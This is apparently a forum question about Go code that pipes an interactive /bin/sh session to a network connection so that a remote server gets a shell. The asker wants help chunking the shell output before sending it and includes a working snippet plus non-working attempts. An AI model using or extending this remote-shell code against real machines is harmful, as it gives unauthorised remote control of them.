The problem: I can’t manage to get the bytes from an interactive session ( interactive shell ), capture them, work with them, and send them to the server.
The goal: capture all the bytes of cmd.Stdout, split them with this function https://gist.github.com/xlab/6e204ef96b4433a697b3#file-bytes_split-go ( the first one ), and just then send the chunks to the server.
Original lines:
cmd := exec.Command(binPath, "-i") // /bin/sh -i
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
Once the client connects to the server, if I run any command I get the output. If I run any non-existing commands, I get the stderr. So, everything works fine.
To achieve the goal I want, I tried different things, but after some tests and debugging I think I finally understood why everything I tried did not work: because its an interactive shell rathen than a simple command… but I don’t know how to do the same thing in my case. In practice:
cmd := exec.Command(binPath, "-i") // /bin/sh -i
cmd.Stdin = conn
//cmd.Stdout = conn
*****
stdout := new(bytes.Buffer)
cmd.Stdout = stdout
gotthem := stdout.Bytes()
conn.Write(gotthem)
*****
cmd.Stderr = conn
cmd.Run()
I get the shell on the server, I can type any non-existing stuff to see if Stderr works fine ( which does), but I don’t get any output of the existing commands.
This code should in theory work, but it does not because gotthem its always empty. So I won’t get any output on the server.
I tried also to move cmd.Run() before cmd.Stdout, load the buffer, and so on, but it breaks everything.
Just to make a better idea of what my goal is, I paste a non-working sample code:
cmd := exec.Command(binPath, "-i") // /bin/sh -i
cmd.Stdin = conn
//cmd.Stdout = conn
*****
stdout := new(bytes.Buffer)
cmd.Stdout = stdout
gotthem := stdout.Bytes()
trans := split(gotthem, 100)
for _, s := range trans {
conn.Write(s)
}
********
cmd.Stderr = conn
cmd.Run()